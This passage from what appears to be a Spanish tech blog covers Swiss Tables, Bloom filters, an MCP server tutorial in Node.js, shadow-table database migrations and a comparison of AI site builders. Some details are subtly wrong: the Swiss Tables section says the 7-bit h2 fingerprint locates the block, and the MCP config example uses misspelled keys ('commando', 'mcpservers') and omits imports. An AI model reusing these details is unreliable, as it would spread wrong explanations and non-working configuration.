Se localiza el slot o bloque destino usando h2.
La CPU toma los 7 bits (h2) del hash de nuestra llave y los carga en un registro especial.
Luego compara este único valor contra todos los 8 o 16 bytes de metadata del bloque destino—al mismo tiempo. Esto se hace usando instrucciones SIMD (Single Instruction, Multiple Data), básicamente paralelismo.

Ahora te explico los pasos.

Encontrar el bloque usando el hash de 7 bits

El mapa toma los 7 bits (h2) del “probe index” (0x3A) y los usa para ubicar el bloque específico de 16 slots donde debería estar “apple”. Este cálculo es increíblemente rápido.

Usar SIMD para comparar los slots

Este es el paso SIMD que nos encanta. La CPU carga los 16 bytes de metadata de ese bloque. Para cada byte, revisa dos cosas:

¿El slot está ocupado? (Un bit especial en el byte de metadata lo indica).

¿El fingerprint de 7 bits (h2) en la metadata coincide con nuestro fingerprint (0x3A)?

Hace esto para los 16 slots A LA VEZ. Y aquí es donde sucede la magia, te lo explico enseguida. El resultado es un bitmask de posibles candidatos.

Manejar colisiones si existen

Un fingerprint de 7 bits coincidente no significa que las llaves sean iguales; solo significa que podrían serlo. Es un pre-filtro. Está diseñado para ser rápido, no perfecto. El hash completo de 57 bits (h1) (y eventualmente la comparación real de la llave) es el árbitro final.

Si hay coincidencias (por ejemplo, los slots 2 y 9 tienen el mismo fingerprint de 7 bits (h2) y están ocupados, o sea, ocurrió una colisión), el mapa finalmente va al arreglo principal de datos. Pero ya no está adivinando. Va directo a los slots 2 y 9 y realiza la comparación completa: stored_key == “apple”? Esta es la única operación costosa, y la has reducido a una o dos verificaciones. Con suerte no tendrás más de dos colisiones.

Recuperar el valor de la llave

Finalmente, si la llave coincide completamente, se devuelve el valor. Si no, o si el paso SIMD no encontró candidatos, puede afirmar con confianza que la llave no está en el mapa. Esta última parte—la búsqueda negativa—es donde las Swiss Tables aplastan a los mapas tradicionales que tienen que recorrer largas secuencias de búsqueda.

¿Por Qué son Tan Rápidas las Swiss Tables? SIMD y el Bloque de 16 Slots

Aquí es donde entra el verdadero genio. Las CPUs modernas no necesitan revisar las cosas byte por byte. Son sorprendentemente buenas haciendo operaciones en paralelo. Las Swiss Tables están diseñadas para aprovechar esto agrupando slots en bloques (normalmente de 16).

En una sola operación ~~súper rápida~~, la CPU crea un bitmask. Un 1 significa “el fragmento del hash coincide”, un 0 significa que no. Solo después, para los slots que podrían coincidir, el código realmente va al arreglo principal de datos para hacer la comparación completa de la llave.

Esta es la característica estrella de las Swiss Tables. Minimiza los costosos accesos a memoria y aprovecha la capacidad de procesamiento paralelo de la CPU.

Hace que las búsquedas, especialmente de llaves inexistentes, sean rapidísimas. No estás recorriendo una cadena ni una larga secuencia de probes. Lo que, como sabes, impacta el rendimiento en notación Big O

¿Por Qué Deberías Preocuparte? Las Ventajas de las Swiss Tables

Esta arquitectura no es solo un ejercicio académico aburrido. Se traduce en beneficios reales y tangibles que los devs más ñoños verán reflejados en sus aplicaciones ~~transformando un 0.0004s en un 0.00002s de ejecución~~. Según la página oficial de Go, el rendimiento aumentó alrededor de un 63% comparado con la implementación de Buckets.

1. Búsquedas Rapidísimas: La combinación del filtro de metadata y SIMD hace que las operaciones find() y contains() sean significativamente más rápidas que en la mayoría de los mapas tradicionales. No es un margen pequeño; estamos hablando de múltiplos en muchos benchmarks.

2. Uso de Memoria Súper Eficiente: Las Swiss Tables suelen implementarse como estructuras “planas”. Esto significa que guardan llaves y valores directamente en el arreglo, no como nodos separados asignados en memoria. Esto mejora muchísimo la localidad de caché—los datos que necesitas probablemente ya están en la caché rápida del CPU (ya sabes: L1, L2, L3)—y evita la sobrecarga de memoria de los punteros usados en implementaciones encadenadas. Esto las hace superiores en uso de memoria frente a otras implementaciones de hashmaps.

3. Redimensionamiento Más Inteligente: El arreglo de metadata hace que la lógica de control interna sea mucho más inteligente. El mapa puede tomar mejores decisiones sobre cuándo rehashear y cómo distribuir los elementos, manteniendo un rendimiento más consistente a medida que aumenta el load factor.

Ok Pero, ¿Qué Hay de las Desventajas de las Swiss Tables?

No todo es miel sobre hojuelas, claro, en tecnología todo es un trade-off. El arreglo separado de metadata consume memoria extra (aprox. 1/16 a 1/8 del arreglo principal), lo que por lo general es un excelente intercambio porque la memoria es uno de los recursos más baratos.

Además, la implementación es compleja pero, afortunadamente, eso no te involucra a ti, porque la vas a usar igual que siempre la has usado.

Construí Un Simulador Visual De Un Bloom Filter

Fri, 05 Sep 2025 09:47:15 -0600

Supongamos que quieres comprobar si un dato pertenece a un conjunto más grande. Digamos que eres Google y quieres revisar si cierta url ha sido marcada como spam. El enfoque más tonto sería iterar sobre cada url marcada como spam para ver si la encuentras. Tal vez pienses: “Guardo los sitios spam en un hashmap”, pero entonces, ¿un hashmap con los millones de sitios que existen en internet? Debe existir una forma que use menos espacio.

View this post on Instagram

Incluso si indexas esas urls, seguirás teniendo un rendimiento en Big O no tan bueno, quizá O(log n) u O.

Esta es una estructura de datos interesante porque es probabilística. No te va a dar una certeza del 100%, pero el trade-off que ofrece es bastante atractivo.

Ok, pero ¿qué carajos es un Bloom filter?

Un Bloom filter es una estructura de datos que te ayuda a comprobar si un elemento podría estar en un conjunto. Da respuestas rápidas con muy poca memoria. El costo de esto es que a veces puede decir que un elemento está presente cuando en realidad no lo está.

Esta estructura puede producir falsos positivos. Pero la buena noticia es que no existen falsos negativos.

Por esta razón, los Bloom filters son útiles cuando valoras más la velocidad y el espacio que una precisión absoluta.

¿Dónde se pueden usar los bloom filters?

Los Bloom filters aparecen en sistemas donde las búsquedas rápidas importan (no, tu Tinder para mascotas no aplica):

Bases de datos: Para verificar si una clave podría estar en una tabla antes de hacer una costosa lectura en disco. Aquí hablamos de millones de registros, no bases de datos pequeñas. (Cassandra, HBase y Redis).
Cachés web: Para probar si una página u objeto podría estar en caché.
Sistemas distribuidos: Para reducir llamadas de red cuando preguntas a un nodo si tiene ciertos datos.
Seguridad: Para filtrar rápidamente urls o direcciones de correo conocidas como maliciosas, como en el ejemplo inicial.
Sistemas de recomendación de contenido: Para evitar recomendar contenido ya consumido.

Los Bloom filters ayudan a reducir tiempo y recursos a gran escala, siempre que aceptes algunos falsos positivos.

¿Cómo funciona internamente un Bloom filter?

Un Bloom filter utiliza:

Un arreglo de bits (todos empiezan en 0).
Un conjunto de funciones hash.


0	0	0	0	0	0	0	0	0	0

Cuando agregas un elemento, el filtro lo pasa por cada función hash. Cada función devuelve un índice en el arreglo. En esas posiciones, los bits se ponen en 1.


0	0	1	0	0	0	1	1	0	0

No se pueden eliminar datos de este filtro

Como no almacenas los datos reales, sino solo el patrón que permance tras las hash functions, no puedes saber qué combinación de dato y función hash específica lo produjo. Por eso no es posible “eliminar” un elemento.

No puedes recuperar miembros del conjunto

Una vez construido el Bloom filter, no puedes saber qué elementos lo generaron. Solo puedes comprobar si algo podría pertenecer o definitivamente no pertenece al conjunto.

Colisiones en Bloom filters

Cuando empiezas a añadir más y más elementos, se incrementan las probabilidades de tener una colisión (falso positivo).

Siempre puedes añadir más funciones hash para reducir colisiones, pero eso aumenta la complejidad y el uso de memoria. Así es, nunca se puede ganar, todo es un trade-off.

Comprobando si un elemento existe

Cuando revisas un elemento, el bloom filter hace lo mismo. Si todas las posiciones están en 1, el elemento podría estar en el conjunto (por eso es probabilístico). Si alguna posición está en 0, el elemento definitivamente no está en el conjunto.


Bloom Filter	0	0	1	0	1	1	1	1	0	0
Word	0	0	1*	0	0	0	1*	1*	0	0

Flujo básico de un Bloom filter

Aquí tienes un esquema sencillo que puedes usar sin pena para inspirarte en las artes oscuras de los Bloom filters:

Decide el tamaño del arreglo de bits e inicializa todo en 0.
Elige algunas funciones hash independientes.

Para añadir un elemento:
- Pásalo por cada función hash.
- Por cada función, marca en 1 el bit de la posición obtenida.
Para comprobar un elemento:
- Pásalo por cada función hash.
- Si todos los bits son 1 → el elemento podría estar en el conjunto.
- Si algún bit es 0 → el elemento definitivamente no está en el conjunto.

Pseudocódigo de un Bloom filter

Con pseudocódigo (sí, debería haber usado Javascript), se vería así:

initialize bit_array of size m with all 0s
choose k hash functions

function add(item):
    for i in 1 to k:
        index = hash_i(item) mod m
        bit_array[index] = 1

function check(item):
    for i in 1 to k:
        index = hash_i(item) mod m
        if bit_array[index] == 0:
            return "not present"
    return "might be present"

Diagrama de flujo de un Bloom filter

Y si eres fan de los diagramas de flujo, se vería así:

flowchart TD A[Start] --> B[Hash item with k functions] B --> C[Get indexes] C --> D{Add or Check?} D -->|Add| E[Set bits at indexes to 1] D -->|Check| F[Are all bits = 1?] F -->|Yes| G[Might be present] F -->|No| H[Not present]

¿Por qué no usar hashmaps en su lugar?

Podrías usar enfoques con hashmaps como buckets o Swiss tables , pero piensa que ahí tienes que lidiar con colisiones. En cambio, en un Bloom filter puedes usar funciones hash menos costosas, mientras que en los hashmaps necesitas funciones más fuertes para evitarlas, lo que consume recursos.

Además, en un hashmap guardas toda la información como pares clave-valor, mientras que en un Bloom filter solo guardas los resultados de las funciones hash, lo que ahorra bastante espacio en memoria.

¿Cuándo no deberías usarlos?

Si necesitas eliminar elementos: los Bloom filters estándar solo permiten insertar nuevos datos.
Si los datos son pocos: no tiene sentido usar un enfoque probabilístico con falsos positivos; mejor usa un hashmap.
Como te mencioné antes, mientras más datos añadas, más aumentan los falsos positivos. No lo uses en conjuntos que crecen demasiado.

Y eso es todo. Escribí esta entrada porque leí sobre esta estructura de datos en el libro System Design Interview y me pareció curioso que exista una estructura probabilística, cuando casi siempre que trabajas con estructuras de datos buscas lo contrario: determinismo.

Algunas librerías de bloom filters

Lo más probable es que ya existan librerías mantenidas por la comunidad, por lo que no te preocupes en reinventar la rueda.

¿Cómo crear un MCP server y MCP tools desde cero?

Wed, 23 Jul 2025 18:00:32 -0600

¿Para que querríamos crear un servidor MCP?

Crear un servidor MCP nos permite conectar un LLM o AI con datos en tiempo real, datos personales, u otra fuente de datos.

Anteriormente escribí un post donde explico como funciona internamente el Model Context Protocol (MCP) , puedes consultarlo si no te conformas con la receta y quieres saber más.

En este post voy a detallar como crear un servidor MCP. Vamos a crear uno que solucione uno de los errores más vergonzosos de los LLM; el no saber contar la cantidad de r’s en variaciones de la palabra strawberry. Por ejemplo: strawberrrry o strawberrrrrrry.

Si no eres un bot, ya sabrás que, para un humano, contar letras es una tarea bastante trivial.

Por otro lado, para un LLM es casi imposible debido a la manera en la que funciona, a base de Tokens. Las AI son capaces de crear arte y código , a pesar de no ser entes conscientes , pero no pueden contar letras, ¿contradictorio no?

Por ahora lo convertiremos en un ejercicio didáctico para desplegar un MCP server.

Requisitos para crear un MCP server en Javascript

Partimos de una instalación de Node, ya sabes, el resultado de ejecutar: npm init -y, creamos el archivo con el comando de linux touch

.
├── index.js
├── package.json
└── package-lock.json

Establecer package.json como module

Dentro del archivo package.json cambiamos o creamos la propiedad type y le asignamos el valor module, para que npm la trate como un modulo.

"type": "module"

Instalar la librería

Un servidor requiere el SDK oficial de Javascript/Typescript , basta con instalarlo con npm. También necesitamos zod que, ~~si tienes la mala fortuna de usar Javascript~~, se usa para validar datos.

// 1.16.0
npm install @modelcontextprotocol/sdk@1.16.0 zod@3.25.76

Crear un servidor MCP

Maneja la comunicacion entre cliente y servidor

import {McpServer} from "@modelcontextprotocol/sdk/server/mcp.js"

const server = new McpServer({
    name: 'Strawberry Count',
    version: '1.0.0'
})

Crear MCP tools en un servidor MCP

A continuación vamos a definir las herramientas o mcp tools, que nos permitirán recibir un parámetro del LLM, para que podamos hacer con él lo que querramos, en este caso contar sus r’s. Te hablé de las mcp tools en mi introducción al Model Context Protocol.

// server.tool("<Name>", "<Description>", {
server.tool("Strawberry Count", "Count the number of r's present in an strawberry variant", {
    param: z.string().describe("The strawberry variant")
},
    // callback 
    // La IA detectará el param automáticamente del input del usuario
    async ({ param }) => {
        return {
            content: [
                {
                    type: 'text',
                    text: `The word has: ${param.toLowerCase().split("").filter(letter => letter == "r").length} r's`
                }
            ]
        }
    }
)

Por favor nota que estamos contando las r’s manualmente, no hay ningún truco, procesamos el string que recibimos y devolvemos la cantidad de r’s.

Además, quiero destacar lo asombrosa que es la magia oscura que usa el LLM para obtener nuestro parámetro. Nuestro LLM detecta el parámetro que queremos recibir como parámetro de entrada directamente del usuario. ¿Cómo? utilizando como contexto la información de descripción que le pasamos al método describe.

Obviamente tú mcp tool no hará algo tan inútil como contar r’s, puedes obtener datos de una API, procesarlos, obtener información del sistema de archivos, o inclusive de otro LLM, lo que sea.

¿De donde obtiene el contexto el LLM?

Para este ejemplo usaremos el STDIO (Standard Input Output), que es básicamente la entrada de texto del usuario.

Pero recuerda que en mi introducción al MCP te hablé de otras alternativas: SSE y el HTTP Stream.

const transport = new StdioServerTransport()

Ejecutar el servidor MCP para que lea del STDIO

Ahora vamos a conectar esta conexión con el servidor MCP, para que pueda tomar información directamente del STDIO.

await server.connect(transport)

Conexión del MCP con otras aplicaciones

Podemos conectar el servidor MCP con cualquier programa que soporte el MCP para poder utilizarlo.

Por ejemplo para Claude Desktop tendriamos que llenar el archivo claude_desktop_config.json.

Observa como estamos declarando que el servidor MCP debe ejecutarse con el comando npx y a continuación la lista de argumentos en orden.

{
    "mcpservers": {
        "name": {
            "commando": "npx",
                "args": [
                    "-y",
                    "node",
                    "<full_path_to_js_file>"
                ]
        }
    }
}

Si quisieras utilizar typescript en lugar de javascript podrías hacer algo como esto.

{
    "mcpservers": {
        "name": {
            "commando": "npx",
                "args": [
                    "-y",
                    "tsx",
                    "<full_path_to_ts_file>"
                ]
        }
    }
}

Analizando el MCP server con el inspector

¿Cómo nos aseguramos de que nuestro servidor MCP funcione bien? Inspector de Claude permite testear y depurar los servidores MCP, podemos ver las tools que hemos creado, y emular su funcionamiento, sin embargo estas no utilizan el LLM, es un servidor plano que funciona como si nosotros fueramos el LLM.

Para ejecutarlo podemos usar npx y le pasamos el comando que

npx -y @modelcontextprotocol/inspector <mcp_server_command>

Yo no fui capaz de ejecutar el comando reemplazando el comando. Lo intenté con el comando con el directorio relativo y también con el absoluto pero no podía conectarme al servidor, desconozco el porque.

Sin embargo, sí funcionó llenando los datos manualmente en la interfaz gráfica del inspector.

Tras ejecutar el inspector tendremos un servidor corriendo en el puerto 6274 (por defecto, pero puede cambiarse).

npx -y @modelcontextprotocol/inspector npm index.js
npx -y @modelcontextprotocol/inspector npm /home/dir/mcp-server/index.js

A continuación llenamos el transport type y los comandos, en caso de que hayas tenido el mismo problema que yo.

Si le damos click en donde dice “list tools” detectará la tool que acabamos de crear.

Al darle click a la tool se actviará y podremos pasarle nuestro parámetro: una variante de strawberry con el número de r’s que nosotros querramos.

Solo recuerda que este parámetro sería el que recibiríamos directamente de nuestro LLM, es él quien se encargaría de devolverlo de acuerdo a que tan bien lea el input del usuario, así que no intentes complicar las cosas con un input complejo, solo variantes de strawberry.

Como puedes ver, el código funciona, el MCP server devuelve nuestro mensaje, en un entorno real este sería recibido por el LLM y le informaría al usuario el número correcto de r’s que tiene su variante de strawberry, sin hacer el ridículo como normalmente haría.

Migraciones con zero downtime: la estrategia shadow table

Fri, 27 Jun 2025 16:14:37 -0600

Imagínate esto: son las 2 de la madrugada, estás implementando un «simple» cambio en el tipo de columna en producción y, de repente, toda tu aplicación se cae porque el bloqueo de la tabla está tardando una eternidad. Tu teléfono empieza a vibrar con notificaciones furiosas de Slack y tú intentas explicar frenéticamente a tu equipo por qué la «migración de 5 minutos» lleva 30 minutos en marcha.

¿Qué es la estrategia de la shadow table?

La estrategia de la shadow table (en español “tabla sombra”) es como tener un doble para una tabla en tu base de datos. En lugar de modificar directamente la tabla original (y arriesgarte a que tu aplicación colapse), creas una ~~clon sombra~~ nueva tabla con la estructura deseada, copias gradualmente los datos y luego realizas un cambio rapidísimo.

Este es el flujo básico:

¿Qué problema resuelve la estrategia de la shadow table?

Las operaciones tradicionales ALTER TABLE pueden ser una auténtica pesadilla en producción si se trata de sitios web con miles de millones de registros. Cuando ejecutas algo como ALTER TABLE users MODIFY COLUMN id BIGINT, la mayoría de los motores de bases de datos:

Bloquearán toda la tabla mientras dure la operación.
Bloquearán todas las lecturas y escrituras mientras reestructuran la tabla.
Tardarán una eternidad en tablas grandes (estamos hablando de horas para miles de millones de filas).
Correrán el riesgo de que se agote el tiempo de espera, lo que dejará tu base de datos en un estado inconsistente.

La estrategia de la shadow table resuelve estos problemas dividiendo la migración de la base de datos en fragmentos más pequeños y manejables que no requieren bloqueos prolongados. Tu aplicación permanece en línea, los usuarios están contentos y no recibes notificaciones a las 3 de la madrugada.

¿Qué pasa con las tablas más pequeñas?

Si tu tabla no tiene millones de filas y no es crítico que la base de datos siga funcionando, siempre puedes enviar un correo electrónico notificando a tus usuarios que tu aplicación estará en mantenimiento durante un breve periodo de tiempo.

Nadie te odiará si tu sitio web de imágenes peludas está caído durante un par de horas, pon una página de «toca el césped» y realiza la migración, no te obsesiones innecesariamente con el rendimiento de tu aplicación

Sin embargo, si ese no es el caso y el negocio está perdiendo dinero por cada segundo que la base de datos está bloqueada…

Pasos para realizar una modificación de tabla utilizando la estrategia de shadow table

Veamos un ejemplo real en el que necesitamos cambiar un ID de usuario de INT a BIGINT porque nos estamos acercando al límite de 2100 millones.

Stonks. Enhorabuena si eres tú el propietario.

Paso 1: Crear la shadow table

En primer lugar, crea tu nueva tabla con la estructura deseada:

-- Create the shadow table with the new structure
CREATE TABLE users_new (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(255) NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB;

-- Copy indexes from the original table
CREATE INDEX idx_users_email ON users_new(email);
CREATE INDEX idx_users_created_at ON users_new(created_at);

Paso 2: Configurar la sincronización de datos

Aquí es donde las cosas se ponen interesantes. Debes mantener la shadow table sincronizada con la original mientras tu aplicación sigue funcionando como si nada hubiera pasado.

Sí, estás duplicando las escrituras y ejecutando dos tablas en lugar de una. Para ello hay dos enfoques:

Utilizar triggers de base de datos

-- Create triggers to keep shadow table in sync
DELIMITER $$

CREATE TRIGGER users_insert_sync
    AFTER INSERT ON users
    FOR EACH ROW
BEGIN
    INSERT INTO users_new (id, name, email, created_at, updated_at)
    VALUES (NEW.id, NEW.name, NEW.email, NEW.created_at, NEW.updated_at);
END$$

CREATE TRIGGER users_update_sync
    AFTER UPDATE ON users
    FOR EACH ROW
BEGIN
    UPDATE users_new 
    SET name = NEW.name, 
        email = NEW.email, 
        updated_at = NEW.updated_at
    WHERE id = NEW.id;
END$$

CREATE TRIGGER users_delete_sync
    AFTER DELETE ON users
    FOR EACH ROW
BEGIN
    DELETE FROM users_new WHERE id = OLD.id;
END$$

DELIMITER ;

Sincronizar datos a nivel de aplicación

Si lo prefieres, puedes sincronizar los datos a través de la lógica de tu aplicación.

def update_user(user_id, changes):
    # Original write to main table or database
    original_db.execute("UPDATE users SET ...")
    
    # Shadow write (with transformation)
    shadow_db.execute(
        "UPDATE users_new SET name=? ...",
        data['email']
    )

Paso 3: Copiar los datos existentes por lotes

Ahora viene la migración masiva de datos. Nunca intentes copiar todo de una vez, eso es una receta para una catástrofe digital. Recuerda la razón de ser del patrón worker pool .

Asegúrate de tener suficientes recursos y considera hacerlo durante períodos de poco tráfico:

-- Copy data in manageable batches to avoid long locks
SET @batch_size = 10000;
SET @min_id = 0;
SET @max_id = (SELECT MAX(id) FROM users);

-- Loop through batches (you'd typically script this)
WHILE @min_id < @max_id DO
    INSERT INTO users_new (id, name, email, created_at, updated_at)
    SELECT id, name, email, created_at, updated_at
    FROM users
    WHERE id > @min_id AND id <= @min_id + @batch_size
    ON DUPLICATE KEY UPDATE
        name = VALUES(name),
        email = VALUES(email),
        updated_at = VALUES(updated_at);
    
    SET @min_id = @min_id + @batch_size;
    
    -- Give the database a breather
    SELECT SLEEP(0.1);
END WHILE;

Paso 4: Verificar la coherencia de los datos

Antes de realizar el cambio, es mejor que te asegures de que todo se ha copiado correctamente:

-- Check row counts match
SELECT 
    (SELECT COUNT(*) FROM users) as original_count,
    (SELECT COUNT(*) FROM users_new) as shadow_count;

-- Check data integrity with checksums
SELECT 
    (SELECT SUM(CRC32(CONCAT(id, name, email))) FROM users) as original_checksum,
    (SELECT SUM(CRC32(CONCAT(id, name, email))) FROM users_new) as shadow_checksum;

-- Spot check some random records
SELECT * FROM users WHERE id IN (1, 1000, 50000) ORDER BY id;
SELECT * FROM users_new WHERE id IN (1, 1000, 50000) ORDER BY id;

Paso 5: El gran cambio

Aquí es donde tu ritmo cardíaco se dispara. El intercambio real de tablas debe ser rapidísimo, como una nueva y brillante biblioteca Rust ~~innecesaria~~:

-- This should take milliseconds, not minutes
START TRANSACTION;

-- Drop the triggers first (no more syncing needed)
DROP TRIGGER users_insert_sync;
DROP TRIGGER users_update_sync;
DROP TRIGGER users_delete_sync;

-- Rename tables atomically
RENAME TABLE users TO users_old, users_new TO users;

COMMIT;

Paso 6: Limpieza y verificación

Limpieza y ~~darse cuenta de que todo salió mal~~ celebrar.

Manejo de tablas con millones de QPS

Para tablas con millones de QPS o millones de usuarios simultáneos , puedes optar por utilizar una queue (cola) en lugar de escribir directamente.

Utilizar un búfer de escritura: Pon en queue cualquier write en Redis/Kafka si la base de datos no puede gestionar las escrituras duales.

El infierno del mapeo de columnas Utiliza vistas para abstraer los cambios de nombre:

  CREATE VIEW users_combined AS
  SELECT id, COALESCE(new_id, id) AS unified_id FROM users_new
  UNION ALL SELECT id, name FROM users WHERE NOT EXISTS (...);

Errores comunes al implementar shadow tables

Permíteme ahorrarte algunos dolores de cabeza compartiendo algunos errores comunes que he visto, leído y cometido:

Olvidar gestionar las restricciones de claves externas: si otras tablas hacen referencia a tu tabla, deberás desactivar temporalmente las comprobaciones de claves externas o gestionar las referencias con cuidado. No lo ignores, la integridad de tus datos depende de ello.

No probar los triggers (o disparadores) a fondo: los triggers pueden fallar silenciosamente o comportarse de forma extraña bajo carga. Pruébalos con volúmenes de datos realistas y operaciones simultáneas antes de pasar a producción.

Subestimar el retraso de sincronización: durante los periodos de escritura intensa, tus triggers pueden fallarte. Supervisa el estado de sincronización y prepárate para limitar las escrituras si es necesario.

Supervisión inadecuada: Debes estar atento durante el proceso de migración, el retraso de sincronización y cualquier error, no después de que las cosas salgan mal. Implementa la supervisión antes de empezar, no cuando todo se esté desmoronando.

Mala planificación de la rollback: Ten siempre un plan B. Si algo sale mal durante el cambio, debes poder revertirlo rápidamente.

Manejo de shadow tables en sistemas distribuidos

Ten en cuenta el descubrimiento de servicios, el agrupamiento de conexiones y la invalidación de caché. Cuando renombres tus tablas, recuerda que todas las instancias de servicio deben conocer el cambio simultáneamente.

Esto a menudo significa implementar una estrategia de implementación coordinada en la que se detiene temporalmente el tráfico, se realiza el cambio y, posteriormente, se reinician los servicios.

Considera la posibilidad de utilizar indicadores de características, como el que te comenté en mi publicación sobre patrones de implementación , para controlar desde qué tabla lee tu aplicación. Esto te permite un control preciso de la migración y permite implementaciones graduales.

Bases de datos con réplicas de lectura

Asegúrate de que tu shadow table se haya replicado completamente antes de realizar el cambio. Supervisa cuidadosamente el retraso en la replicación, ya que el cambio debe realizarse de manera consistente en todas las réplicas.

Supervisión del rendimiento durante la transición

Al ejecutar la migración, básicamente estás ejecutando dos tablas en paralelo, con su correspondiente uso de E/S, comprueba el uso del disco y supervísalo.

Los triggers añaden una sobrecarga a cada operación INSERT, UPDATE y DELETE. Configura alertas para tiempos de ejecución de triggers inusualmente largos.

Compara el número de filas entre las tablas originales y las shadow tables durante el proceso. Si la diferencia entre ambas aumenta, es que algo raro está pasando.

Manejo de constraints (o restricciones) únicas y claves externas

En el caso de las constraints únicas, debes asegurarte de que la shadow table mantenga exactamente las mismas garantías de unicidad que la tabla original.

Al copiar datos por lotes, utiliza INSERT … ON DUPLICATE KEY UPDATE o una lógica upsert equivalente para gestionar posibles duplicados, especialmente si tu aplicación sigue escribiendo datos durante la migración.

Para las constraints de foreign key, puedes desactivar las comprobaciones durante la migración, pero corres el riesgo de comprometer la integridad de los datos, por lo que siempre hay que sopesar las ventajas y los inconvenientes. Utiliza comprobaciones diferidas (si usas PostgreSQL) o desactiva las comprobaciones de foreign key (MySQL SET FOREIGN_KEY_CHECKS=0).

Como alternativa, puedes crear las constraints de foreign key en la shadow table y actualizar las tablas de referencia una vez finalizada la migración principal.

Manejo de triggers (disparadores) y procedimientos almacenados

Los triggers y procedimientos almacenados existentes pueden ser un dolor de cabeza…

En primer lugar, enumera todos los triggers existentes en tu tabla. Deberás recrear estos triggers en la shadow table, pero recuerda que el orden de ejecución es fundamental.

Por lo general, los triggers de sincronización deben ejecutarse en último lugar, después de que se hayan ejecutado todos los triggers de lógica empresarial.

Los procedimientos almacenados que apuntan a tu tabla deben renombrarse después de la migración. Utiliza sinónimos o vistas para minimizar el número de procedimientos que requieren actualizaciones.

Prueba a fondo las interacciones de los desencadenantes en un entorno de prueba para evitar sorpresas indeseadas.

Verificación de la coherencia de los datos antes del cambio

No te saltes nunca este paso, pase lo que pase.

Compara valores agregados como sumas, promedios y recuentos. Utiliza checksums o hash de tus datos para verificar que los datos coincidan exactamente entre las tablas. Las estadísticas son tus aliadas, obtén el número correcto de registros para muestrear y alcanzar un nivel de confianza del 95 %.

Crea scripts de comprobación de coherencia automatizados que puedas ejecutar repetidamente durante la migración y que te permitan saber si todo va bien.

Las herramientas de suma de comprobación (como pg_checksums o consultas personalizadas COUNT()* + hash_agg()) son tus aliadas.

El plan de rollback (cuando todo se va al carajo)

¿Conoces la ley de Murphy? Entonces ya sabes lo que hay que hacer.

La rollback más sencilla es revertir la operación de renombramiento. Mantén tu tabla original como <table_name>_old, o como quieras, durante el periodo de transición, para poder renombrarla rápidamente si Murphy aparece. Esto debería ser muy rápido.

Para reversiones más complejas, es posible que tengas que sincronizar los datos de la shadow table con la original. Considera la posibilidad de mantener los desencadenantes inversos durante el periodo de transición, lo que añade complejidad, pero te dará más opciones disponibles.

Cuando la producción está en pleno apogeo, no querrás estar averiguando los comandos de rollback sobre la marcha. Documenta siempre claramente tus procedimientos de rollback y practica en entornos de prueba.

Considera la posibilidad de implementar mecanismos de rollback a nivel de aplicación utilizando indicadores de funciones o cambios de configuración. Hablé un poco sobre ellos en mi publicación sobre patrones de implementación. A veces es más rápido volver a dirigir tu aplicación a la tabla antigua que realizar cambios a nivel de la base de datos.

Herramientas que te pueden ayudar

Hay algunas herramientas que pueden ayudarte a facilitar el proceso de migración de una tabla:

Herramienta	Ideal para	Característica destacada
gh-ost	MySQL	Replicación sin triggers
pg_repack	PostgreSQL	Reorganización de tablas en línea
Liquibase	Cross-DB	Seguimiento de cambios
Debezium	Transmisión CDC	Integración con Kafka

Conclusión

La estrategia de las shadow tables dista mucho de ser perfecta y pueden ocurrir muchas cosas.

Recuerda que cada base de datos y cada aplicación son diferentes. Lo que funciona para tablas con un uso intensivo de lectura puede no funcionar para tablas con un uso intensivo de escritura. Prueba siempre en un entorno que imite lo más fielmente posible el entorno de producción.

No temas abortar la migración en el último momento si las cosas no salen según lo previsto, lo importante es que todo siga funcionando, no hacer de héroe.

Bolt vs Lovable vs V0 Vercel Comparando Resultados y Mi Opinion

Tue, 03 Jun 2025 16:01:02 -0600

Todos los influencers de tecnología están esparciendo el FOMO y hablando de herramientas como Bolt, V0 de Vercel, y Lovable. Pero lo entiendo, aún estamos en una burbuja de AI . El delirante culto a la IA en redes sociales está fuerte con estos influencers.

Sin embargo, a pesar de su valoración poco realista, estoy asombrado de lo que estas herramientas pueden hacer sin necesidad de API REST ni integraciones del Protocolo de contexto del modelo por parte del usuario.

Para el prompt utilicé algo bastante sencillo. Decidí no ser tan específico, porque es el tipo de prompt que utilizaría una persona que no está tan familiarizada con el contexto en los Large Language Models. Y por eso lo mantuve corto, ambiguo y no tan específico.

Create a fancy and highly interactive landing page with cyberpunk vibes and neon colors

Bolt vs Lovable vs V0 ¿cuál es el mejor?

Comparemos los planes de precios, desde V0, Lovable y Bolt, esta información viene directo de las tablas de precios de cada sitio web, a la fecha de escritura de este artículo. Elegí aquellos aspectos que pueden ser relevantes para aquellos interesados en crear sitios ~~vulnerables~~ utilizando IA.

Características	V0	Lovable	Bolt	Ganador
–Plan Gratis–
Precio	$0	$0	$0	Todos
Créditos incluidos	$5 en créditos mensuales	5 diarios (30/mes)	1M tokens/mes	Bolt (mayor volumen)
Proyectos públicos	Sí	Sí	Sí	Todos
Proyectos privados	No	No	Sí	Bolt
Límite diario	N/A	5 créditos	150K tokens	V0 (sin límite diario)
Colaboración	Sincronización con GitHub	Hasta 20 colaboradores	N/A	Lovable
Acceso a modelos IA	v0-1.5-md	N/A	N/A	V0
–Plan Pro–
Precio	$20/mes	$25/mes	$20/mes	V0/Bolt (más económico)
Créditos incluidos	$20 créditos mensuales	100 créditos mensuales	10M tokens/mes	Bolt (mayor volumen)
Proyectos privados	Sí	Sí	Sí	Todos
Límite de archivos	5x mayor que el plan Free	N/A	100MB (vs 10MB Free)	Bolt
Límite diario	N/A	5 diarios (150/mes)	Sin límite	Bolt/V0
Acumulación créditos	Compra adicional	Sí	Sí (2 meses)	Bolt (automático)
Acceso a modelos IA	v0-1.5-lg + API	N/A	N/A	V0
Características especiales	Importar desde Figma	Eliminar marca Lovable	Enfoque en eficiencia tokens	V0 (integración Figma)
–Plan para Equipos–
Precio	$30/usuario/mes	N/A	$30/usuario/mes	V0/Bolt
Créditos incluidos	$30/usuario/mes	N/A	10M tokens/usuario/mes	Comparables
Facturación centralizada	Sí	N/A	Sí	Todos
Colaboración	Chats compartidos	N/A	Espacio de trabajo en equipo	Bolt (estructurado)
Controles administrativos	N/A	N/A	Acceso a nivel de equipo	Bolt
–Plan Empresarial–
